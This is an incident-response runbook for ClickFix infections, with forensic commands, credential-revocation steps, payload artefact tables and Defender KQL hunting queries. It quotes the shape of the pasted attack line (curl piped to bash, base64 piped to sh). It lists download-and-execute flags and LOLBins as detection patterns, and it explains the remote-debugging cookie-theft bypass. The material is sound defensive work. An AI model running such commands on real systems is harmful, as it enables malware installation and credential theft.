ClickFix Response

A user pasted the command — contain, capture, rotate, with the reason for every step

Preparing, not responding? Detection and prevention (Win+R / Win+X blocking, script-block logging, the download-folder correlation) are on ClickFix. This page is for when a user has already pasted the command.
T+0 — T+60 min  •  CONTAIN

Respond: The First Hour

A user followed a fake CAPTCHA or "fix" page and pasted a command into the Run dialog, the Explorer address bar or a terminal. Microsoft's analysis of the technique (Think before you Click(Fix), August 2025) names Lumma Stealer as the most prolific final payload, with RATs (XWorm, AsyncRAT, NetSupport, SectopRAT) and loaders (Latrodectus, MintsLoader) behind it; several families often arrive in one dropper. Goal in this phase: stop the host talking, keep the command as evidence, and treat every secret on that machine as already stolen.
Resetting the password is not enough. Infostealers take browser session cookies, and a stolen session keeps working after a password reset; a revoke alone is undone by the stolen password. Do both within minutes, in either order, from a clean device — and for every service the browser was signed in to, not only Entra.
T+0–10 minIsolate the host — keep it running
EDR network isolation, or pull the network cable. Do not shut it down. Why: a stealer uploads what it found within minutes and a loader fetches the next stage; isolation stops both. The decoded stager may only exist in memory, because every visitor gets a uniquely obfuscated payload.
T+10–20 minCapture the command that was pasted
Win+R leaves the command in RunMRU (only when the launch succeeded; a failed launch writes nothing); FileFix leaves it in TypedPaths; a Win+X or Terminal paste leaves it in the PowerShell history file and in script-block logging (event 4104, the decoded stager); the EDR process tree has the outer layer either way. Windows Timeline's ActivitiesCache.db keeps the clipboard text even when the stager wiped RunMRU. Note any file created in Downloads just before. Why: vendor hashes will not match your payload — your command, the URLs in it and the lure page are the indicators. Collect the browser profile too (History with its downloads table for the referrer, Login Data, Cookies, Local State; Firefox places.sqlite): it tells you which accounts and sessions were on the host. For memory and the volatile triage, run Magnet RESPONSE 1.7.2 d315c63d1ad4b89e03c7688b29169e977c2abc4559c23b9f6b2282f3c91a6c7d elevated from removable media or push it with your EDR; for the persistence baseline, Get-PersistenceSnapshot.ps1 a9534865f9e8e7b1f5077b4e1cfd8c29e7e32f6e9e49a4918ce4f8fb713e64df with -Zip. The platform tabs below list the per-tool commands, Prefetch, Amcache, SRUM and USN included.
reg query "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
reg query "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths"
type "C:\Users\<user>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
wevtutil qe Microsoft-Windows-PowerShell/Operational /q:"*[System[EventID=4104]]" /rd:true /c:20 /f:text
dir "C:\Users\<user>\Downloads" /o:-d
dir "C:\Users\<user>\AppData\Local\ConnectedDevicesPlatform" /s /b | findstr ActivitiesCache.db
T+15–30 minTreat every secret on the host as stolen
For every user who signed in on that machine: revoke sessions and reset the password from a clean device, in either order but both within minutes (Identity Breach Response). In Entra, Revoke-MgUserSignInSession kills refresh tokens; issued access tokens live up to an hour, so disable the account first if the user is privileged. On an Entra-joined device the Primary Refresh Token stays in the TPM and is not what a browser stealer takes; the device-bound cookies derived from it are, and the revoke covers those. Entra is one session in that browser profile, not the only one: sign the user out of Google Workspace, Okta, Slack, GitHub (and rotate PATs), the AWS console (deactivate access keys, re-issue MFA) and the password manager's desktop and extension sessions, and tell the user to do the same for personal accounts in the same browser. Then rotate what the browser and disk held: saved passwords for business apps, VPN profiles, SSH keys, API tokens, password-manager exports, crypto wallets. Why: a stealer takes all of it in one pass, and the attacker uses or sells it within hours.
Revoke-MgUserSignInSession -UserId <upn>
DELETE https://<org>.okta.com/api/v1/users/{id}/sessions
T+30–60 minBlock the lure and find the other victims
Take the lure site from the browser history and the payload URLs from the command; block them at DNS and the proxy; search the fleet for the same domains and the same command shape. Then settle the provenance — search result (SEO poisoning), ad (malvertising), compromised legitimate site, or a mail link — and report it: Google Safe Browsing for the URL, Google Ads or Microsoft Advertising if the referrer was an ad, the site owner if the site is legitimate, and your sector ISAC. Why: ClickFix lures run on compromised legitimate sites and ads; if one user got it, others visited the same page, and the report is what takes the page down for everyone outside your fleet.
Hour 1 — Day 30  •  ERADICATE & WATCH

Hour 1 – Day 30: Classify, Rebuild, Watch

Classify the payload: stealer, or foothold?
Persistence (Run keys, scheduled tasks, services, a remote-access tool) or outbound beacons after the first upload mean a loader or RAT: a live foothold. Switch to Ransomware Response, discovered before encryption. Why: the RATs and loaders Microsoft lists behind Lumma (NetSupport, SectopRAT, AsyncRAT, XWorm, Latrodectus) are hands-on-keyboard access, and that is the start of a larger intrusion. The payload table under By Variant says what each leaves behind.
Rebuild the host; do not clean it
Collect the command, the dropped files and memory, then re-image. Rebuild when any of these is true: persistence was created; the payload is a loader or RAT; a legitimate process was injected; more than one family was dropped; the user is privileged; or the process tree has a gap you cannot explain. Quarantine-and-reboot is enough only when the EDR stopped the stager before stage 2 and nothing was written or connected — and the secrets are rotated either way. Why: droppers install three or four stealer families into the same folder; you cannot be sure you found them all.
Watch the stolen sessions for 30 days
Sign-ins for the affected users from new IPs, ASNs or devices; new MFA methods; new inbox rules. Why: stolen credentials are often used days later, after resale.
Notification and closing the gap
If stolen sessions reached personal data, the GDPR 72-hour clock runs from awareness. Close the door that was used: block Win+R / Win+X for non-technical users, turn on PowerShell script-block logging (4104) and command-line auditing fleet-wide, and alert on the lure-comment signature (ClickFix, Containment and Detection).

How Far Has It Got?

Ask these at triage, top to bottom, and again at every update. The furthest stage you can show evidence for is how far the incident has got — write it in the case's status line. A stage you cannot answer yet is a scoping gap: say when it will be known. Why: the stage reached decides whether this is a credential-theft cleanup or the start of a larger intrusion.
#StageATT&CKQuestionWhere to look
1LureT1189 T1566.002Which site served the fake CAPTCHA or fix page, how did the user get there (search result, ad, compromised site, mail link), and when?Browser history on the host (Chrome History, downloads table for the referrer; Firefox places.sqlite); Safe Links click records; proxy and DNS logs; Zone.Identifier on anything downloaded
2Paste and runT1204.004 T1059.001What command ran, and from where: Run dialog, Explorer address bar, Terminal, or a file in Downloads?RunMRU (Win+R, written only when the launch succeeded); TypedPaths (FileFix); PowerShell history file (Win+X / Terminal); ActivitiesCache.db clipboard history; EDR process tree, with the trailing lure comment as the signature; Downloads folder
3Stage 2T1105 T1218.005What did the command fetch and start?PowerShell script-block logging (event 4104: the decoded stager and its URL), event 400 HostApplication for the host that ran it; EDR process tree: mshta, curl, certutil, bitsadmin, regsvr32, msiexec from user paths; new files in AppData, Temp and Downloads
4PayloadT1219 T1574.002Infostealer, loader or RAT, or ransomware?EDR detections; dropped files and sideloaded DLLs in AppData; injection into legitimate processes; client32.exe / client32.ini (NetSupport); outbound destinations after the first upload; Prefetch and Amcache for what ran
5TheftT1555.003 T1539Which credentials, sessions and keys were on the host?Users who signed in there; browser profiles (Login Data, Cookies, Local State); chrome.exe --remote-debugging-port from a non-user parent (App-Bound Encryption bypass); saved passwords; VPN, SSH and API keys; wallets
6ExfiltrationT1041 T1567Did data leave the host, and to where?EDR network events from user-path processes after the paste; proxy logs for the byte count; SRUM network usage per application; Telegram and Discord endpoints as stealer C2
7Session reuseT1550.004 T1078.004Are the stolen sessions or passwords being used?Entra interactive and non-interactive sign-ins (30 d on P1/P2, 7 d free), Okta System Log, Google Workspace login audit, Slack, GitHub and AWS console audit logs for the host's users from new IPs, ASNs or devices
8PersistenceT1547.001 T1053.005 T1546.003Is there a foothold that survives a reboot?Run and RunOnce keys, startup folder, scheduled tasks (including schtasks /create /xml), WMI subscriptions, services, DLLs sideloaded from AppData, NetSupport client32.ini under AppData\Roaming; Get-PersistenceSnapshot.ps1 -CompareTo a clean host
9SpreadT1189 T1204.004Did other users visit the same lure or run the same command?Fleet-wide DNS and proxy for the lure domain; Safe Links clicks; the same command shape or lure comment on other hosts

By Variant: Where the Evidence Is

The first hour is the same for every variant. What changes is where the pasted command left its trace. The lure page puts the command on the clipboard itself (JavaScript navigator.clipboard.writeText on the "verify" click), so the user never sees what they are pasting; the visible instruction is only which key to press. Microsoft's August 2025 analysis still describes the Run dialog as the primary surface, with Terminal, PowerShell and the Explorer address bar as the alternatives; no public vendor figure splits them, so do not assume one.

1. Win+R (Run dialog)

Indicators: explorer.exe starting PowerShell, cmd, mshta, curl, certutil, bitsadmin or msiexec with a public URL and the trailing lure comment; a new RunMRU value.

Variation: RunMRU holds the command, but only when the launch succeeded (a failed launch writes nothing) and only until the stager clears it — a wiped RunMRU on a host whose Timeline clipboard record holds the command is itself a finding. Block Win+R for non-technical users after the incident.

2. Win+X / Terminal

Indicators: Windows Terminal or PowerShell started by the user, then PowerShell itself fetching the stager (no new process for the paste), or mshta, curl or msiexec as children of powershell.exe; nothing in RunMRU.

Variation: The paste runs inside the already-open shell, so the command is in the PowerShell history file (ConsoleHost_history.txt), in event 4104 (the decoded block) and in event 400's HostApplication, not in RunMRU and often not as a separate process. Detections written for an explorer.exe parent do not fire here.

3. FileFix (Explorer address bar)

Indicators: the lure opens a file-picker or "open file location" prompt; explorer.exe starts PowerShell or cmd with a command line that ends in a fake path comment such as # C:\Company\Internal\Policy.pdf; a new value under HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths, nothing in RunMRU.

Variation: The user pastes into the File Explorer address bar, which executes commands the way Run does; the path at the end is padding so the visible part of the bar looks like a file. Collect TypedPaths and the clipboard record, and extend any Win+R detection that keys on RunMRU to TypedPaths.

reg query "HKEY_USERS\<SID>\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths"

4. Download-folder staging and HTA save-as

Indicators: a file created in Downloads by the browser, and minutes later a pasted command that only runs that local file; or mshta.exe started by chrome.exe, msedge.exe or explorer.exe on a .hta the lure told the user to "save as".

Variation: The command looks harmless, or there is no command at all; the payload is the downloaded file. Collect it and its Zone.Identifier stream, which records the URL it came from and the referrer (Sysmon 15 logs the same contents fleet-wide). In the HTA variant the parent of mshta.exe is the browser, not explorer.exe or a shell.

Get-Content "C:\Users\<user>\Downloads\<file>" -Stream Zone.Identifier

5. macOS (Terminal)

Indicators: Terminal started by the user, then curl or bash -c fetching a script, osascript prompting for the password, a new binary under /tmp, ~/Library or /Users/Shared; Atomic Stealer (AMOS) is the usual payload.

Variation: The pasted line is curl -fsSL <url> | bash or a base64 echo | base64 -d | sh. It is in ~/.zsh_history (written on shell exit, so collect after the user closes Terminal or read it from the EDR's process events), the stealer's osascript password dialog is in the process tree, and the Keychain, browser profiles and ~/.ssh are what it takes. Revoke and reset as for Windows; the Keychain password is the login password, so the reset is the Keychain rotation.

cat ~/.zsh_history | grep -E 'curl|base64|osascript|bash -c'
log show --last 2h --predicate 'process == "osascript" OR eventMessage CONTAINS "curl"'

6. Linux

Indicators: a shell started by the user, then curl or wget piped to sh or bash, a new file under /tmp, /dev/shm or ~/.config, a new cron entry, systemd user unit or ~/.ssh/authorized_keys line.

Variation: Rare, and aimed at developers and admins: the paste is a "dependency fix" or a fake CAPTCHA served to a Linux user agent. ~/.bash_history is written on exit; auditd execve records or the EDR's process events have it live. Run get-persistence-snapshot.sh 8fe386a7d6ebd50225b04ad83581ee3e5d504a10a4263253b5a11b8a61eeca67 for cron, systemd, SSH keys, PAM, ld.so.preload and SUID in one pass, and --compare-to a clean host.

sudo ausearch -sc execve -ts recent | grep -E 'curl|wget|base64'
bash get-persistence-snapshot.sh --compare-to clean-baseline.json

Payload families: what each leaves behind

Use this to answer stage 4. The family decides whether the host is a credential-theft cleanup (stealer) or a foothold (RAT or loader), and which secrets to assume gone.
FamilyClassOn-host artefactsNetworkResponse
Lumma, StealC, VidarInfostealerRuns once from Temp or AppData and exits; injects into BitLockerToGo.exe or more.com (Lumma); starts chrome.exe --remote-debugging-port to defeat App-Bound Encryption; reads browser profiles, wallets, Telegram and Discord tokens in place; no persistenceOne burst of HTTPS POSTs within minutes to a C2 or a Telegram bot; Steam profile or Telegram channel as dead-drop resolver; then silenceSecrets and sessions, every service the browser held; rebuild on principle
NetSupport (RMM)RATclient32.exe with client32.ini (gateway address inside), PCICL32.dll, HTCTL32.DLL under AppData\Roaming; Run key or startup folder; signed binary, so it passes a signature checkPersistent HTTP to the gateway in client32.ini, often on 443 or 1080; keep-alive every few secondsFoothold: Ransomware Response, discovered before encryption
SectopRAT (ArechClient2)RAT.NET loader in AppData, often sideloaded beside a signed binary; injects into MSBuild.exe or RegAsm.exe; starts a hidden second desktop and chrome.exe --remote-debugging-portPersistent TCP to a C2 on a high port; Pastebin or Google Docs resolverFoothold and theft: both responses
AsyncRAT, XWormRAT.NET binary in AppData or Temp; scheduled task or Run key; schtasks /create in the process tree; injects into RegAsm.exe, aspnet_compiler.exe or InstallUtil.exePersistent TCP to a dynamic-DNS host; keep-alive beaconsFoothold: Ransomware Response, discovered before encryption
Latrodectus, MintsLoaderLoaderDLL run through rundll32 or a JavaScript dropper through wscript; scheduled task; copies itself under AppData\Roaming\Custom_update (Latrodectus)Short check-ins to several domains, then a second payload downloadFoothold; expect a second family within hours

Hunt & Act by Platform

What to look for in your EDR or SIEM for each stage of How Far Has It Got?, and the response actions in each tool. Pick your platform.
Test these before you need them. The queries follow each vendor's documented schema, but field names depend on your data sources, versions and ingestion. Run each one in your own tenant during peacetime and fix it there — not during an incident.
KQL, advanced hunting (Device* tables, 30 d); Entra sign-ins from SigninLogs in Sentinel (30 d on P1/P2, 7 d free, longer only if Sentinel retains them); PowerShell 4104 only if a data collection rule forwards the PowerShell/Operational channel into the Event table.

Hunt

Stage 1 · LureWhich page served the lure, and who else clicked it

Why: The lure URL is the durable indicator and the provenance question (SEO result, ad, compromised site, mail link) decides who else you report it to. UrlClickEvents only sees links in mail, Teams and Office; a search or ad lure leaves its trace in the browser's connections just before the paste.
// Mail or Teams link (Defender for Office 365 Safe Links; Workload says which)
UrlClickEvents
| where Timestamp > ago(30d) and Url has "<lure domain>"
| project Timestamp, AccountUpn, Url, ActionType, IsClickedThrough, Workload, NetworkMessageId
// What the browser reached in the five minutes before the paste on the reporting host
DeviceNetworkEvents
| where DeviceName == "<host>" and Timestamp between ((datetime(<paste time>) - 5m) .. datetime(<paste time>))
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe") and isnotempty(RemoteUrl)
| project Timestamp, RemoteUrl, RemoteIP, InitiatingProcessFileName
| order by Timestamp asc
// The referrer of anything the browser saved to Downloads (download-folder and HTA variants)
DeviceFileEvents
| where DeviceName == "<host>" and Timestamp > ago(7d) and FolderPath has @"\Downloads\" and isnotempty(FileOriginUrl)
| project Timestamp, FileName, FileOriginUrl, FileOriginReferrerUrl, InitiatingProcessFileName
T1189 T1566.002 Tuning: Five minutes of browser traffic is ads, CDNs and telemetry; read it bottom-up from the paste time and stop at the first domain the user does not recognise. RemoteUrl is empty for many connections; fall back to RemoteIP and the proxy.

Stage 2 · Paste and runThe pasted command, from the Run dialog, the Explorer address bar or a terminal

Why: This is the pasted command itself. Per-visitor obfuscation means the command and its URLs are your indicators, not a vendor hash. The strongest single signature is the trailing lure comment (# I am not a robot, # reCAPTCHA Verification ID, # Ray ID, or a fake # C:\...\file.pdf path in FileFix); the flags and LOLBins catch the rest. Win+R and FileFix start the child from explorer.exe; a paste into an already-open PowerShell window runs in-process, so there the evidence is the child it spawns, 4104 (next hunt) or the history file.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","windowsterminal.exe","powershell.exe","pwsh.exe","cmd.exe","conhost.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe","curl.exe","msiexec.exe","certutil.exe","bitsadmin.exe",
                      "regsvr32.exe","rundll32.exe","wscript.exe","cscript.exe","conhost.exe","finger.exe","ssh.exe")
| where ProcessCommandLine has_any ("http","-enc","-e ","-ec ","iex","invoke-expression","downloadstring","downloadfile","irm","iwr",
                                    "-w hidden","-w 1","-nop","-noprofile","-ep bypass","-executionpolicy bypass",
                                    "urlcache","-decode","/transfer","--headless","proxycommand","/i:http","scrobj","javascript:","frombase64string")
      or ProcessCommandLine matches regex @"(?i)#\s*(I am not a robot|reCAPTCHA|Ray ID|Verification|Cloudflare|robot|[A-Z]:\\[^""]+\.(pdf|docx|txt))"
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
// HTA save-as: the browser or Explorer launches a .hta the user just saved
DeviceProcessEvents
| where Timestamp > ago(7d) and FileName =~ "mshta.exe"
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","explorer.exe") and ProcessCommandLine has_any (@"\Downloads\", ".hta")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
// Win+R writes RunMRU and FileFix writes TypedPaths. Neither key is guaranteed to be in the curated set DeviceRegistryEvents records;
// test on one host, and otherwise read them with Live Response (Capture, below).
DeviceRegistryEvents
| where Timestamp > ago(7d) and RegistryKey has_any (@"\Explorer\RunMRU", @"\Explorer\TypedPaths")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData
T1204.004 T1059.001 T1218.005 Tuning: Admin tooling, Intune remediation scripts and installers use -nop -w hidden -ep bypass from explorer.exe daily; the lure comment, a public URL and a non-technical user together are the hit. Exclude your management agents by InitiatingProcessFileName or signer, not by flag.

Stage 2 · Paste and runDownload-folder staging: a browser download run minutes later from a pasted command

Why: In this variant the pasted command is harmless on its own and the payload is the file the browser just saved; the pairing is the finding and FileOriginUrl on the download is the lure's download host.
let dl = DeviceFileEvents
| where Timestamp > ago(7d) and ActionType == "FileCreated" and FolderPath has @"\Downloads\"
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe")
| project DeviceName, DownloadedFile = FileName, DownloadUrl = FileOriginUrl, DlTime = Timestamp;
DeviceProcessEvents
| where Timestamp > ago(7d) and InitiatingProcessFileName in~ ("explorer.exe","windowsterminal.exe","powershell.exe","cmd.exe")
| join kind=inner dl on DeviceName
| where Timestamp between (DlTime .. (DlTime + 10m)) and ProcessCommandLine has DownloadedFile
| project Timestamp, DeviceName, AccountName, DownloadedFile, DownloadUrl, FileName, ProcessCommandLine
T1204.004 T1204.002 Tuning: Users run installers from Downloads all day. A hit matters when the download is a script, an archive or an .hta, the command came from Run or a terminal rather than a double-click, or DownloadUrl is not a vendor site.

Stage 3 · Stage 2The decoded stager (4104 script-block text, PowerShellCommand) and LOLBin loaders from user paths

Why: The command line only shows the obfuscated outer layer. Script-block logging (event 4104) records the decoded text PowerShell actually ran, including the stage-2 URL; Windows writes 4104 at Warning level for suspicious blocks even when the policy is off. Advanced hunting carries a slimmer record of the cmdlets as PowerShellCommand events; the full 4104 text needs Sentinel with a DCR on the PowerShell/Operational channel.
DeviceEvents
| where Timestamp > ago(7d) and ActionType == "PowerShellCommand"
| extend Command = tostring(parse_json(AdditionalFields).Command)
| where Command has_any ("Invoke-WebRequest","Invoke-RestMethod","Invoke-Expression","DownloadString","DownloadFile","FromBase64String",
                         "Start-BitsTransfer","Expand-Archive","Add-MpPreference","Set-MpPreference","Start-Process")
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessCommandLine, Command
// Sentinel, PowerShell/Operational forwarded by a DCR: the decoded block itself
Event
| where TimeGenerated > ago(7d) and EventLog == "Microsoft-Windows-PowerShell/Operational" and EventID == 4104
| extend ScriptBlockText = extract(@"<Data Name=""ScriptBlockText"">([\s\S]*?)</Data>", 1, EventData)
| where ScriptBlockText has_any ("DownloadString","Invoke-WebRequest","iwr","irm","FromBase64String","-join","[char]","Add-MpPreference")
| project TimeGenerated, Computer, ScriptBlockText
// Loaders started from user-writable paths after the paste
DeviceProcessEvents
| where Timestamp > ago(7d)
| where (FileName in~ ("mshta.exe","regsvr32.exe","rundll32.exe") and ProcessCommandLine has_any ("http", @"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\"))
     or (FileName in~ ("curl.exe","certutil.exe","bitsadmin.exe") and ProcessCommandLine has_any (@"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\", "-o ", "-decode", "/transfer"))
     or (FileName =~ "msiexec.exe" and ProcessCommandLine has_any ("http", @"\AppData\", @"\Temp\", @"\Downloads\"))
     or (FileName in~ ("powershell.exe","pwsh.exe") and ProcessCommandLine has "Add-MpPreference")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
T1059.001 T1105 T1218.005 T1027 Tuning: Configuration-management and software-deployment agents run these cmdlets constantly; exclude them by InitiatingProcessCommandLine and keep the rest. A 4104 block over a few KB of base64 or [char] arithmetic is the stager even if every cmdlet in it looks ordinary.

Stage 4 · PayloadWhat the stager left behind: new binaries, sideloaded DLLs and injection from user-writable paths

Why: Stealer, loader or RAT decides the rest of the response. Stealers run once from AppData or Temp and exit; loaders and RATs stay resident, sideload a DLL next to a signed binary, or inject into a legitimate process. NetSupport shows up as client32.exe with a client32.ini beside it; Lumma injects into BitLockerToGo.exe or more.com.
DeviceProcessEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where FolderPath has_any (@"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\", @"\Users\Public\")
| summarize First = min(Timestamp), Runs = count(), Cmd = any(ProcessCommandLine), Parent = any(InitiatingProcessFileName)
    by FileName, FolderPath, SHA256, ProcessVersionInfoCompanyName, ProcessVersionInfoProductName
| order by First asc
// DLLs loaded from user-writable paths by binaries in user-writable paths (sideloading)
DeviceImageLoadEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where FolderPath has_any (@"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\") and FolderPath !endswith @"\System32\"
| summarize Loads = count(), By = make_set(InitiatingProcessFileName) by FileName, FolderPath, SHA1
// Injection into a legitimate process
DeviceEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>) and ActionType == "CreateRemoteThreadApiCall"
| project Timestamp, InitiatingProcessFileName, InitiatingProcessFolderPath, FileName, FolderPath
// What Defender itself classified
AlertInfo | where TimeGenerated > ago(7d) | join AlertEvidence on AlertId | where DeviceName == "<host>"
| project TimeGenerated, Title, ThreatFamily, Category, FileName, SHA256
T1574.002 T1055 T1219 Tuning: Teams, OneDrive, Zoom and other per-user installers live in AppData\Local and update themselves; a signed Microsoft or vendor ProcessVersionInfoCompanyName with a matching product name is normal. Unsigned, no version info, a random name, or a signed binary whose DLL beside it is unsigned is the payload.

Stage 5 · TheftBrowser credential stores read by something that is not the browser; the remote-debugging bypass

Why: Since Chrome 127 (App-Bound Encryption) a stealer cannot decrypt cookies by reading the files, so Lumma, StealC and SectopRAT start the browser themselves with --remote-debugging-port and ask it for the cookies. chrome.exe with that flag and a parent that is not explorer.exe or the browser is theft with few false positives. Copies of Login Data, Cookies, Local State, Firefox key4.db and logins.json outside the profile folder are the older method.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("chrome.exe","msedge.exe","brave.exe")
| where ProcessCommandLine has_any ("--remote-debugging-port","--remote-debugging-pipe","--remote-allow-origins","--headless","--user-data-dir","--restore-last-session")
| where InitiatingProcessFileName !in~ ("explorer.exe","chrome.exe","msedge.exe","brave.exe","svchost.exe","userinit.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, ProcessCommandLine
// Profile files copied out of the profile (reads are not logged; only a copy or rename shows)
DeviceFileEvents
| where Timestamp > ago(7d) and ActionType in ("FileCreated","FileRenamed")
| where FileName in~ ("Login Data","Cookies","Web Data","Local State","key4.db","logins.json","cookies.sqlite","places.sqlite","wallet.dat")
| where FolderPath !has @"\User Data\" and FolderPath !has @"\Firefox\Profiles\"
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessFileName, InitiatingProcessFolderPath
T1555.003 T1539 T1552.001 Tuning: Developers and test automation (Selenium, Playwright, Puppeteer) start Chrome with --remote-debugging-port and --headless from node.exe, python.exe or an IDE; exclude those parents on developer hosts. A stealer that reads the files in place leaves no file event at all; absence here is not absence of theft, and the users who signed in on that host are treated as compromised regardless.

Stage 6 · ExfiltrationOutbound connections from user-path binaries and script hosts after the paste

Why: A stealer uploads within minutes of running, usually to a plain HTTPS C2, a Telegram bot (api.telegram.org) or a Discord webhook; a loader's second connection is the next stage. The first connection after the paste from a process in AppData, Temp or a script host is the upload. DeviceNetworkEvents carries no byte counts; size and duration come from the proxy or firewall.
DeviceNetworkEvents
| where DeviceName == "<host>" and Timestamp between (datetime(<paste time>) .. (datetime(<paste time>) + 2h))
| where ActionType == "ConnectionSuccess" and RemoteIPType == "Public"
| where InitiatingProcessFolderPath has_any (@"\AppData\", @"\Temp\", @"\Downloads\", @"\ProgramData\", @"\Users\Public\")
     or InitiatingProcessFileName in~ ("powershell.exe","pwsh.exe","mshta.exe","curl.exe","rundll32.exe","regsvr32.exe","msbuild.exe","regasm.exe","installutil.exe","bitlockertogo.exe","more.com")
| summarize First = min(Timestamp), Connections = count(), Ports = make_set(RemotePort), Urls = make_set(RemoteUrl)
    by InitiatingProcessFileName, InitiatingProcessFolderPath, RemoteIP
| order by First asc
T1041 T1567 T1071.001 Tuning: Teams, OneDrive, Slack and browser updaters in AppData\Local talk to Microsoft, Slack and Google CDNs; exclude by signer or by destination ASN. Anything to a bare IP, a fresh domain, Telegram or a paste site from a process you cannot name is the upload.

Stage 7 · Session reuseThe host's users signing in from new IPs or networks

Why: Stolen cookies and passwords are used from the attacker's infrastructure, often days later after resale. A replayed cookie is a non-interactive sign-in with no MFA prompt, so query both tables. The window is bounded by the Entra retention (30 d on P1/P2, 7 d free) unless Sentinel keeps the tables longer; export the 30 days now (Capture, below) because resale takes time.
union SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(30d)
| where UserPrincipalName in~ ("<upn1>", "<upn2>") and ResultType == "0"
| summarize FirstSeen = min(TimeGenerated), Count = count(), Apps = make_set(AppDisplayName), Interactive = countif(Type == "SigninLogs")
    by UserPrincipalName, IPAddress, AutonomousSystemNumber, tostring(DeviceDetail.deviceId)
| order by FirstSeen asc
// Non-Entra sessions: Google Workspace login audit (Admin console, Reporting > Audit > Login), Okta System Log (eventType user.session.start),
// Slack Audit Logs (user_login), GitHub audit log (user.login), AWS CloudTrail ConsoleLogin. Same question: new IP or ASN after the paste.
T1550.004 T1078.004 Tuning: Mobile networks and VPN egress rotate IPs; a new IP in the same ASN and country is usually the user. A new ASN, a hosting provider, an impossible-travel pair, or a sign-in with an empty deviceId where the user's sessions always carry one is the replay.

Stage 8 · PersistenceEverything that survives a reboot, created after the paste

Why: Persistence means a loader or RAT, not only a stealer: this is a foothold, and the ransomware pre-encryption response applies. Look wider than Run keys: the startup folder, a task imported from XML, a WMI subscription, a new service, a DLL dropped beside a signed binary in AppData, and NetSupport's client32.exe with client32.ini under AppData\Roaming.
DeviceRegistryEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where RegistryKey has_any (@"\CurrentVersion\Run", @"\CurrentVersion\RunOnce", @"\Winlogon", @"\Explorer\Shell Folders", @"\Image File Execution Options")
| project Timestamp, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName
DeviceFileEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>) and ActionType == "FileCreated"
| where FolderPath has @"\Start Menu\Programs\Startup\" or FileName in~ ("client32.exe","client32.ini") or (FolderPath has @"\AppData\" and FileName endswith ".dll")
| project Timestamp, FolderPath, FileName, SHA256, InitiatingProcessFileName
DeviceEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where ActionType in ("ScheduledTaskCreated","ServiceInstalled","WmiBindEventFilterToConsumer")
| project Timestamp, ActionType, InitiatingProcessFileName, InitiatingProcessCommandLine, AdditionalFields
DeviceProcessEvents
| where DeviceName == "<host>" and Timestamp > datetime(<paste time>)
| where (FileName =~ "schtasks.exe" and ProcessCommandLine has_any ("/create", "/xml")) or (FileName =~ "sc.exe" and ProcessCommandLine has "create") or FileName =~ "client32.exe"
| project Timestamp, FileName, ProcessCommandLine, InitiatingProcessFileName
T1547.001 T1053.005 T1546.003 T1543.003 T1574.002 T1219 Tuning: Installers and updaters register tasks, services and Run values legitimately; keep only what was created after the paste time on that host, and anything whose target path is in AppData, Temp or ProgramData. For a full read-only baseline diff run Get-PersistenceSnapshot.ps1 (Capture, below).

Stage 9 · SpreadOther hosts that reached the lure or ran the same command shape

Why: ClickFix pages sit on compromised sites and ads; everyone who visited the same page is a candidate victim, and anyone who pasted gets the same command shape with a different obfuscation. Run the stage-2 hunt fleet-wide without the host filter; this one adds the network side.
DeviceNetworkEvents
| where Timestamp > ago(30d) and RemoteUrl has_any ("<lure domain>", "<payload domain>")
| summarize FirstSeen = min(Timestamp), Hosts = dcount(DeviceName), Users = make_set(InitiatingProcessAccountName) by RemoteUrl
DeviceFileEvents
| where Timestamp > ago(30d) and (FileOriginUrl has_any ("<lure domain>", "<payload domain>") or FileOriginReferrerUrl has "<lure domain>")
| summarize Hosts = make_set(DeviceName), Files = make_set(FileName) by FileOriginUrl
UrlClickEvents
| where Timestamp > ago(30d) and Url has "<lure domain>"
| summarize Clicks = count(), Users = make_set(AccountUpn) by Url, ActionType
T1189 T1204.004 Tuning: A lure on a compromised legitimate site means the domain alone is not proof; a visit to the site from a host with no stage-2 hit is a candidate, not a victim. Pair every network hit with the stage-2 process hunt before isolating.

Act

Broad first, surgical once the scope is known. Collect before you stop anything; compromised hosts are rebuilt, not cleaned.

T+0–10 · IsolateIsolate every host that ran the command

Why: the hunts above list every device that ran the same command shape or reached the lure; isolating only the host that reported it leaves the others uploading.

Console: device page › Isolate device (Full), for each device in the hunt result. Live Response keeps working on an isolated device. API: one call per device ID.

POST https://api.security.microsoft.com/api/machines/{id}/isolate
{"Comment": "ClickFix IR case #<n>", "IsolationType": "Full"}

